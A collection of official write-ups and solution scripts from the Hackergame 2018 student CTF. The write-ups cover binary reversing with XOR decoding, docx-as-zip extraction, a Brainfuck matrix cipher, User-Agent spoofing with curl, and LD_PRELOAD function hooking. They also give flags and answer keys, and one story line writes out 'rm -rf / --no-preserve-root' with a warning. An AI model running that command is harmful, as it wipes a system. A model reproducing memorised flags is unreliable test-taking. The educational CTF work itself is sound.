DDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLUUUULLLLUUUULLLLLLLLDDDDLLLLDDDDLLLLDDDDDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDUUUUUUUURRRRRRRRRRRRRRRRRRRRDDDDRRRRRRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDDDDDRRRRRRRRUUUUUUUUUUUUUUUURRRRUUUUUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLLLLRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRDDDDLLLLLLLLDDDDDDDDDDDDDDDDDDDDLLLLLLLL 2 | -------------------------------------------------------------------------------- /official/confused_flxg/README.md: -------------------------------------------------------------------------------- 1 | # 困惑的 flxg 小程序 2 | 3 | 在民间流传着这样一个传说,智慧的老者有一个神秘的魔镜,每当有人向老者提出自己的疑惑,老者将轻轻抚摸镜面,此时魔镜发出了古老的声音,诉说着做法的对错。无数的年轻人通过老者向魔镜请教,他们留下了一个个不朽的神话。过了很久很久……人们进入了工业时代,又过了很久进入了电器时代,随着人们对于自然理解,人们进入了原子能时代。人们似乎忘记了久远的传说。但是智者却以其他形式的方式再次出现在了人们的生活之中。小冉同学像是天之娇子,他在互联网上发现了一个这样的神秘程序,输入一段文字,神奇的程序会告诉你它是否正确。或许这就是21世纪的魔镜。魔镜里到底隐藏着多少不为人知的秘密,冉同学能发现这魔镜里的秘密吗? 4 | 5 | [打开题目](src/confused_flxg.exe) 6 | 7 | --- 8 | 9 | 我们先把程序拖入 IDA,等 IDA 分析完毕后,我们先从所有字符串下手! 10 | ![1](images/1.png) 11 | ​ 12 | 13 | 拖入 IDA,一般来说都先从字符串入手,有一个像是生成 base64 的字符串,还有一个像是逆序的 base64 字符串,解出来:`flxg{I_am_A_fake_flag_23333}`。恩,好吧,那我们看看程序别的信息,我们会发现有一个进入异常的 string。可能这道题目和 C++ 异常有关,看到那么多函数,瞬间有点懵,没事慢慢来,先看哪些系统函数被调用了: 14 | 15 | ![2](images/2.png) 16 | 我们看到如此多的函数,我们找到结尾为 `498F` 的这个函数,里面运用了 `strrev` 来翻转字符串。恩,这应该就是解密函数。 17 | 我们来分析这个解密函数。 18 | `qmemcpy((void *)(a1 + 800), &unk_1400054D8, 0x39ui64);` 19 | 20 | 此句将一串怪异的字符串复制到了一个内存地址。我们跟随一下这个地址里面的内容 21 | ![3](images/3.png) 22 | 23 | ```C 24 | 00000001400054D0 0A 00 00 00 00 00 00 00 39 65 45 54 77 5F 34 5F ........9eETw_4_ 25 | 00000001400054E0 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 d_fh<4XU.C!K. Cv 26 | 00000001400054F0 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 _ LMzSp}VMeGL]qC 27 | 0000000140005500 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D .oGHB..MtE.i.M[m 28 | ``` 29 | 30 | 我们接着分析经过 `sub_140001590()` 函数后将一块内存地址初始化为 0。 31 | 32 | 我们继续分析 33 | 34 | ```C 35 | do 36 | { 37 | *(_BYTE *)(a1 + 32) = **(_BYTE **)(a1 + 80); 38 | **(_BYTE **)(a1 + 48) = *(_BYTE *)(a1 + 32); 39 | ++*(_QWORD *)(a1 + 80); 40 | ++*(_QWORD *)(a1 + 48); 41 | } 42 | ``` 43 | 44 | 这一段代码类似于 `strcpy()` 45 | 46 | 接着我们看到了调用了 `strrev` 函数,这个函数翻转了字符串的内容。 47 | 48 | 接着我们往下看 49 | 50 | ```C 51 | *(_BYTE *)(a1 + *(signed int *)(a1 + 36) + 592) = *(_BYTE *)(a1 + 36) ^ *(_BYTE *)(a1+ *(signed int *)(a1 + 36) + 176); 52 | ``` 53 | 54 | 这是在 `for` 循环里的 xor 操作,`*(_BYTE *)(a1 + 36)`就像我们的 `i` 循环变量。 55 | 56 | 之后就没有什么加密的操作了。 57 | 58 | 我们将我们发现的那一段字符串整理出来。 59 | ![4](images/4.png) 60 | 61 | 我们跟据我们的分析来写解密程序: 62 | 63 | ```Python 64 | #!/usr/bin/env python3 65 | import base64 66 | gotlist = "39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D".split() 67 | flxg = "" 68 | ccc = 0 69 | for i in gotlist: 70 | flxg = flxg + str(chr(int("0x"+i,base=16)^ccc)) 71 | ccc = ccc + 1 72 | 73 | print("We got xor:" + flxg) 74 | flxg = flxg[::-1] 75 | print("We reverse it, we get:" + flxg) 76 | flxg = base64.b64decode(bytes(flxg,'utf-8')) 77 | print("We will get the flag:" + str(flxg)) 78 | ``` 79 | 80 | 运行后我们就得到了我们的 flxg: 81 | ![6](images/6.png) -------------------------------------------------------------------------------- /official/confused_flxg/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/.gitkeep -------------------------------------------------------------------------------- /official/confused_flxg/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/1.png -------------------------------------------------------------------------------- /official/confused_flxg/images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/2.png -------------------------------------------------------------------------------- /official/confused_flxg/images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/3.png -------------------------------------------------------------------------------- /official/confused_flxg/images/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/4.png -------------------------------------------------------------------------------- /official/confused_flxg/images/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/5.png -------------------------------------------------------------------------------- /official/confused_flxg/images/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/images/6.png -------------------------------------------------------------------------------- /official/confused_flxg/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/src/.gitkeep -------------------------------------------------------------------------------- /official/confused_flxg/src/confused_flxg.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/src/confused_flxg.exe -------------------------------------------------------------------------------- /official/confused_flxg/src/fixConfused_flxg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | 5 | gotlist = "39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D".split() 6 | 7 | flxg = "" 8 | ccc = 0 9 | for i in gotlist: 10 | flxg = flxg + str(chr(int("0x"+i,base=16)^ccc)) 11 | ccc = ccc + 1 12 | 13 | print("We got xor:" + flxg) 14 | 15 | flxg = flxg[::-1] 16 | print("We reverse it, we get:" + flxg) 17 | 18 | flxg = base64.b64decode(bytes(flxg,'utf-8')) 19 | 20 | print("We will get the flag:" + str(flxg)) 21 | -------------------------------------------------------------------------------- /official/confused_flxg/src/flxg.txt: -------------------------------------------------------------------------------- 1 | 00000001400054D0 0A 00 00 00 00 00 00 00 39 65 45 54 77 5F 34 5F ........9eETw_4_ 2 | 00000001400054E0 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 d_fh<4XU.C!K. Cv 3 | 00000001400054F0 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 _ LMzSp}VMeGL]qC 4 | 0000000140005500 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D .oGHB..MtE.i.M[m 5 | 6 | 39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D -------------------------------------------------------------------------------- /official/confused_flxg/src/testcn.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/confused_flxg/src/testcn.cpp -------------------------------------------------------------------------------- /official/docx/README.md: -------------------------------------------------------------------------------- 1 | # Word 文档 2 | 3 | 自从加入了 Doki Doki Linux Club ([注1](https://dokidokilinux.club/)),用上了 Linux,D 同学每天都能学到好多新东西。 4 | 5 | Linux 好是好,就是没有 Microsoft Office 系列软件,导致看学校的各种通知文件,填申请表等等都变得不那么方便,上次还差点因此错过了 7 号的会议。 6 | 7 | 突然有一天 D 同学的一个朋友告诉他,其实新版 Office 的文件格式是公开的! 8 | 9 | D 同学非常高兴,公开的文件格式或许意味着可以自己写程序来读取和编辑内容,再也不用切换系统或者开虚拟机了。 10 | 11 | D 同学追问这个朋友:那么这个文件格式具体是怎么样的呢? 12 | 13 | 朋友传来一个 OfficeOpenXML.docx。 14 | 15 | [打开题目](src/OfficeOpenXML.docx) 16 | 17 | --- 18 | 19 | 这道题是一道非常简单的题目,主要是想让同学们了解一些文件格式的常识。 20 | 21 | ## 解法 22 | 23 | 根据题目中的提示,下载 word 文件,打开提示损坏,修复后可以看见维基百科上关于 Microsoft Office 系列文件格式的介绍。 24 | 25 | 注意到: 26 | 27 | > 一种以[XML](https://zh.wikipedia.org/wiki/XML)为基础并以[ZIP格式](https://zh.wikipedia.org/wiki/ZIP%E6%A0%BC%E5%BC%8F)压缩的电子文件规范 28 | 29 | 将文件后缀名改为 `.zip` 或直接强行解压,打开解压后的文件,可以得到 flag.txt,去掉换行之后即为答案。 30 | 31 | ```shell 32 | cat flag.txt | tr -d '\n' 33 | ``` 34 | 35 | flag 为:`flag{xlsx,pptx,docx_are_just_zip_files}` 36 | 37 | 不仅是 `docx`,还有 `xlsx`, `pptx`等的本质都是 zip 压缩包。 -------------------------------------------------------------------------------- /official/docx/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/docx/images/.gitkeep -------------------------------------------------------------------------------- /official/docx/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/docx/src/.gitkeep -------------------------------------------------------------------------------- /official/docx/src/OfficeOpenXML.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/docx/src/OfficeOpenXML.docx -------------------------------------------------------------------------------- /official/encryption_and_decryption/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/encryption_and_decryption/images/.gitkeep -------------------------------------------------------------------------------- /official/encryption_and_decryption/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/encryption_and_decryption/src/.gitkeep -------------------------------------------------------------------------------- /official/encryption_and_decryption/src/enc_and_dec.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/encryption_and_decryption/src/enc_and_dec.tar.gz -------------------------------------------------------------------------------- /official/encryption_and_decryption/src/encryption_and_decryption_solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import sympy 5 | 6 | __author__ = "ustc_zzzz" 7 | 8 | bf_code = """ 9 | /* author: @ustc_zzzz */ call(`,[->>+++++++>>+++++>>+++>>++>>++++>++++++<<+++<<+++++++++<<++++++++<< 10 | ++++++<<++++++++<]>[->>+++++>>+++++++++>>+++++++++>>++>>++++<+++++++++<<++++<<++++<<++<<++<]<,[->>++ 11 | +++>>++++++++>>++++++>>+++++++>>+++++++>++++++<<++++++<<++++++++<<+++<<+++<<++++++++<]>[->>++++++++> 12 | >+++>>+++++++>>++++>>+++++++++<++++++<<+++++++++<<++<<+++++++++<<++++++++<]<,[->>++++++++>>+++++++>> 13 | ++>>++>>+++++++++>+++<<++++<<+++<<+++++<<++++++++<<++++++++<]>[->>++++>>++++++++>>++++++>>++++++>>++ 14 | +++<++++<<+++++++++<<++++++++<<+++++++<<++++<]<,[->>+++++>>+++++++++>>+++>>++++>>++++>+++<<++++++++< 15 | <++++++<<+++++<<++++++<<++++++++<]>[->>++++++>>++++++>>+++++>>++++++++>>+++++++<++++++++<<++++++<<++ 16 | +++<<+++<<+++++++<]<,[->>+++++++>>++++>>++++>>+++>>+++++++>+++++++<<+++++++++<<+++++<<+++++<<+++++++ 17 | <<++++++++<]>[->>+++>>++++>>++++>>+++++>>++++++<++++<<+++<<++++++++<<+++++++<<+++++<]<,[->>+++++>>++ 18 | >>++++>>+++>>++++++>++<<+++++++<<++++<<+++++++++<<+++++++<<++++++++<]>[->>++>>+++++++++>>+++++>>++++ 19 | ++++>>+++++++++<+++++++<<++<<++++<<+++<<++<]<,[->>++++++>>+++++++>>+++>>++++++>>++++++++>++<<++++<<+ 20 | ++<<++++++++<<++++++<<++++++++<]>[->>++++++>>++>>+++++++++>>++++>>++++++<+++++<<++++<<++++++++<<++++ 21 | <<+++++++<]<,[->>+++++++++>>++++++++>>++++++>>+++++++>>+++++++++>++<<++++++++<<+++++<<+++++<<+++<<++ 22 | ++++++<]>[->>+++++++++>>+++++++>>+++++++++>>++++>>++<+++++++<<+++++++++<<++<<+++<<++++++++<]<,[->>++ 23 | >>++++++++>>++>>++++++>>+++++>++++<<++++<<+++++++<<+++++++<<++++++++<<++++++++<]>[->>+++++++>>++>>++ 24 | ++++++>>+++++++>>++++<++<<+++<<+++++++<<+++++<<++<]<,[->>+++++++++>>+++++++>>+++++>>++++>>++>+++++<< 25 | +++++<<++<<++<<+++++<<++++++++<]>[->>++++++++>>++++++>>++>>+++++>>+++++++++<++++++++<<++++++++<<++++ 26 | <<++++<<+++++++++<]>++.>++++++.>++++++++.>++++++++.>+++.>+++++.>+++++.>+++++++.>++++.>+++++++++.`)""" 27 | 28 | 29 | def to_matrix(code): 30 | i = re.compile("[+]+").finditer(code.replace("\n", "")) 31 | m = [[0 for k in range(11)] for j in range(11)] 32 | for j in range(10): 33 | for k in [0, 2, 4, 6, 8, 9, 7, 5, 3, 1]: 34 | m[j][k] += len(next(i).group(0)) 35 | factor = len(next(i).group(0)) 36 | for k in [1, 3, 5, 7, 9, 8, 6, 4, 2, 0]: 37 | m[j][k] += factor * len(next(i).group(0)) 38 | for k in range(10): 39 | m[10][k] += len(next(i).group(0)) 40 | m[10][10] = 1 41 | return m 42 | 43 | 44 | def decrypt(matrix): 45 | base64_mapping = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" 46 | 47 | def to_output(output): 48 | transformed_output = output[:4, :10] 49 | return "".join([base64_mapping[o % 64] for o in transformed_output]) 50 | 51 | def from_input(input): 52 | transformed_input = [base64_mapping.index(i) for i in input] 53 | return sympy.Matrix(4, 10, transformed_input).row_join(sympy.ones(4, 1)) 54 | 55 | inv_matrix = sympy.Matrix(matrix).inv_mod(64) 56 | return lambda input: to_output(from_input(input).multiply(inv_matrix)) 57 | 58 | 59 | if __name__ == "__main__": 60 | fn = decrypt(to_matrix(bf_code)) 61 | assert(fn("aMRKoll07lcf49SIuPrNg8v5bMctTkfrQmchaEkF") 62 | == "QUICK_BROWN_FOXES_JUMP_OVER_THE_LAZY_DOG") 63 | assert(fn("p9dJ4Jsrj3oDy_KxMJ1N750NvUBtXVUGNPVALq5l") 64 | == "quick-brown-foxes-jump-over-the-lazy-dog") 65 | assert(fn("ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ") 66 | == "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ") 67 | print("flag{" + fn("JzRVPiVpqo4iDM8celyueIs4ff4DKeG3EMKihzuH") + "}") 68 | -------------------------------------------------------------------------------- /official/gop_snark/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/gop_snark/images/.gitkeep -------------------------------------------------------------------------------- /official/gop_snark/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/gop_snark/src/.gitkeep -------------------------------------------------------------------------------- /official/gop_snark/src/vkandproofs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/gop_snark/src/vkandproofs.zip -------------------------------------------------------------------------------- /official/heicore/README.md: -------------------------------------------------------------------------------- 1 | # 黑曜石浏览器 2 | 3 | 请使用最新版黑曜石浏览器(HEICORE)打开。 4 | 5 | [打开题目](http://202.38.95.46:12001/) 6 | 7 | --- 8 | 9 | 欢迎大家来到本次比赛的明星题目——黑曜石浏览器,这道题目是一道非常简单但是很有趣的题目。 10 | 11 | 首先打开题目,发现提示"请使用最新版本黑曜石浏览器(HEICORE)访问"。 12 | 13 | 所以我们的思路就是伪装自己是黑曜石浏览器。 14 | 15 | ## 解法 16 | 17 | 上网搜索“黑曜石浏览器 HEICORE”,除了百度以外的所有搜索引擎几乎都能找到该浏览器的官网:heicore.com。 18 | 19 | 我们打开把玩一阵,发现下载,登陆,注册都是无效的。 20 | 21 | 而且这个浏览器主页还做了很多恶心人的限制,比如禁用了快捷键,打开控制台就会崩溃,伪造了当前页面的地址为 `index.php`(其实是 `index.html`)。 22 | 23 | 不过我们可以直接通过直接浏览源代码来查看这个页面是怎么判断我们是不是黑曜石浏览器。 24 | 25 | - 方法一:view-source 26 | 27 | 在 Chrome 浏览器地址栏中输入: 28 | 29 | ``` 30 | view-source:https://heicore.com 31 | ``` 32 | 33 | ![image-20181016121046272](images/image-20181016121046272.png) 34 | 35 | 可以找到判断 User-Agent 的核心逻辑,就是判断 User-Agent 是否为: 36 | 37 | ``` 38 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36 39 | ``` 40 | 41 | User-Agent(UA) 是每个浏览器最大的不同的特征,所以可以猜测题目中的 FLAG.txt 需要我们以这个 UA 来访问。 42 | 43 | - 方法二:curl 44 | 45 | ``` 46 | curl https://heicore.com 47 | ``` 48 | 49 | 和查看源代码是一样的效果。 50 | 51 | 52 | 53 | 然后就是尝试使用这个 UA 访问 FLAG.txt。 54 | 55 | - 方法一:使用 Chrome 控制台 56 | 57 | ![image-20181016121448185](images/image-20181016121448185.png) 58 | 59 | 点击左上角那个手机平板图标,然后: 60 | 61 | ![image-20181016121600175](images/image-20181016121600175.png) 62 | 63 | 通过 Edit 添加一个叫做 HEICORE 的设备: 64 | 65 | ![image-20181016121711381](images/image-20181016121711381.png) 66 | 67 | UA 就填刚才得到的 UA。 68 | 69 | 然后回到页面,选择这个 Device,刷新即可(注意此时不要关闭控制台窗口)。 70 | 71 | ![image-20181016121811337](images/image-20181016121811337.png) 72 | 73 | 74 | 75 | - 方法二:curl 76 | 77 | ```shell 78 | curl http://202.38.95.46:12001/ -H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36" 79 | ``` 80 | 81 | 即可得到 flag。 82 | 83 | 84 | 85 | flag: `flag{H3ic0re_49.1.2623.213_sai_kou}` 86 | -------------------------------------------------------------------------------- /official/heicore/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/.gitkeep -------------------------------------------------------------------------------- /official/heicore/images/image-20181016121046272.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/image-20181016121046272.png -------------------------------------------------------------------------------- /official/heicore/images/image-20181016121448185.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/image-20181016121448185.png -------------------------------------------------------------------------------- /official/heicore/images/image-20181016121600175.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/image-20181016121600175.png -------------------------------------------------------------------------------- /official/heicore/images/image-20181016121711381.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/image-20181016121711381.png -------------------------------------------------------------------------------- /official/heicore/images/image-20181016121811337.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/images/image-20181016121811337.png -------------------------------------------------------------------------------- /official/heicore/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/heicore/src/.gitkeep -------------------------------------------------------------------------------- /official/heicore/src/heicore/app/index.php: -------------------------------------------------------------------------------- 1 | 15 | 16 | 17 | 18 | FLAG.txt 19 | 20 | 21 |

FLAG.txt

22 | 23 |

The flag is:

24 | 25 | 为了文档安全,请使用最新版本黑曜石浏览器(HEICORE)访问。 26 | 27 | 28 | -------------------------------------------------------------------------------- /official/heicore/src/heicore/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | php: 4 | build: 5 | context: ./services/php 6 | dockerfile: Dockerfile 7 | volumes: 8 | - ./app:/mnt/app 9 | restart: always 10 | web: 11 | image: nginx:1.11.1 12 | ports: 13 | - "12001:80" 14 | depends_on: 15 | - php 16 | volumes_from: 17 | - php 18 | volumes: 19 | - ./images/nginx/config:/etc/nginx/conf.d 20 | restart: always 21 | -------------------------------------------------------------------------------- /official/heicore/src/heicore/images/nginx/config/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | root /mnt/app; 5 | index index.php index.html index.htm; 6 | 7 | location / { 8 | } 9 | 10 | location ~ \.php$ { 11 | fastcgi_pass php:9000; 12 | fastcgi_index index.php; 13 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 14 | include fastcgi_params; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /official/heicore/src/heicore/services/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-fpm 2 | MAINTAINER ustchjy 3 | 4 | COPY ./config/php.ini /usr/local/etc/php/conf.d/ 5 | -------------------------------------------------------------------------------- /official/heicore/src/heicore/services/php/config/php.ini: -------------------------------------------------------------------------------- 1 | memory_limit = 256M 2 | post_max_size = 10M 3 | upload_max_filesize = 10M 4 | -------------------------------------------------------------------------------- /official/her_gift/README.md: -------------------------------------------------------------------------------- 1 | # 她的礼物 2 | 3 | (在做这道题之前,你可能需要先完成题目「她的诗」的一部分。) 4 | 5 | 小 T 的生日就要到了,在一天前,他收到了她发的电子邮件。 6 | 7 | 「祝你生日快乐!……」庆生邮件的开头大概都是这个样子的。自从小 T 加入校文学社以来,她可没少给他带去惊吓。这家伙邮件里面又会写什么东西? 8 | 9 | 出乎他意料的是,这封邮件看起来挺正常的,除了结尾之外。 10 | 11 | 「另外呢,我写了一个小小的程序送给你,在里面藏了一些东西,不过运行它是需要密码的,密码我想想……哦,还记得上次我给你的那首诗吗?就是那首诗,用你朋友的脚本解密之后的第 10 行,然后啊我还要去赶路呢,就先写到这里吧,拜拜~」 12 | 13 | 附件看起来像是一个 Linux 下的可执行文件。理论上讲,把密码作为参数启动程序,就能看到她想要告诉小 T 的字符串了。不过……这家伙不会藏了什么 `rm -rf / --no-preserve-root` 这种命令(注:请勿在自己的机器上执行此命令!)在里面吧?但小 T 又想,她不可能会做出这种事情的。 14 | 15 | [打开题目](src/gift) 16 | 17 | --- 18 | 19 | (承接“她的诗”) 20 | 21 | 这道题做出来的人数比我预想的少……难道都是被混淆吓跑的吗?实话讲,混淆确实是我故意弄上去的,为了劝退一般的逆向方法。~~万恶之源在[这](https://github.com/obfuscator-llvm/obfuscator/)~~。为了不让你轻易发现这是个魔改 clang,我特意在二进制文件里把 LLVM 的版本信息改成别的了。 22 | 23 | 打开程序,可以倾听到~~悦耳的~~蜂鸣器声(取决于环境),欣赏到~~美妙的~~歌词,只是运行了 10 秒,这个程序就会自己退出。难道大家真的没有一种想要让这个程序正常一点的冲动吗…… 24 | 25 | 正解其实是 hook(或者 patch)这个二进制,把所有烦人的函数都搞掉。使用 `LD_PRELOAD` hook(动态编译的)Linux 二进制文件的相关内容,可以参考 [[1]](http://kaiyuan.me/2017/05/03/function_wrapper/), [[2]](https://blog.netspi.com/function-hooking-part-i-hooking-shared-library-function-calls-in-linux/) 等资料。 26 | 27 | Hook 的话至少需要把 `alarm()`、`sleep()` 和 `system()` hook 掉,要加速的话输出部分也可以处理一下。最后我自己写的「库」的代码如下: 28 | 29 | ```c 30 | #include 31 | #include 32 | 33 | int system(const char *command) { 34 | return 0; // no beeping 35 | } 36 | 37 | unsigned int alarm(unsigned int seconds) { 38 | return 0; 39 | } 40 | 41 | unsigned int sleep(unsigned int seconds) { 42 | return 0; 43 | } 44 | 45 | int puts(const char *s) { 46 | return 0; // speed up 47 | } 48 | 49 | int printf(const char *format, ...) { 50 | if (format[0] == 'f') { 51 | // is flag 52 | va_list arg_ptr; 53 | va_start(arg_ptr, format); 54 | vprintf(format, arg_ptr); 55 | return 0; 56 | } 57 | return 0; 58 | } 59 | ``` 60 | 61 | 用对应的编译参数编译,然后改 `LD_PRELOAD` 环境变量,等待一小段时间之后程序就乖乖把 flag 吐出来了。 62 | 63 | 打 patch 也是同理,只是注意不要 patch 太过火:有人问我为什么他 patch 了之后结果不对,我看到他把 `main()` 里面所有的循环都 nop 掉了,很想跟他说他的思路基本是正确的,但是根据规定,又只能回复「无可奉告」,我也很无奈。 64 | 65 | 花絮: 66 | 67 | 1. 其实原来这个程序是静态编译的,后来为了降低难度(毕竟是定向新生的比赛),改成了动态编译。不知道有没有人真的用硬碰硬的办法获得 flag 的……其实我也很希望能看到用其他(我)想象不到的方式做出这道题的题解。 68 | 69 | 2. 没人觉得,「她」所在的文学社似乎不是很文学吗😂 其实在编第一道题「她的诗」的时候,「她」的原型是某个游戏的真女主角,但是随着后面题面修改、加题目,就看起来不太像了。 -------------------------------------------------------------------------------- /official/her_gift/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_gift/images/.gitkeep -------------------------------------------------------------------------------- /official/her_gift/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_gift/src/.gitkeep -------------------------------------------------------------------------------- /official/her_gift/src/exp/exp1/exp1.md: -------------------------------------------------------------------------------- 1 | The `hook.c` hooks `system()`, `alarm()`, `sleep()`, `puts()` and `printf()`. 2 | 3 | Compile with: `gcc hook.c -o hook -fPIC --shared` 4 | 5 | and run with: `LD_PRELOAD="./hook" ../../gift "However, someday, someone will find it."` 6 | -------------------------------------------------------------------------------- /official/her_gift/src/exp/exp1/hook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_gift/src/exp/exp1/hook -------------------------------------------------------------------------------- /official/her_gift/src/exp/exp1/hook.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int system(const char *command) { 5 | return 0; // no beeping 6 | } 7 | 8 | unsigned int alarm(unsigned int seconds) { 9 | return 0; 10 | } 11 | 12 | unsigned int sleep(unsigned int seconds) { 13 | return 0; 14 | } 15 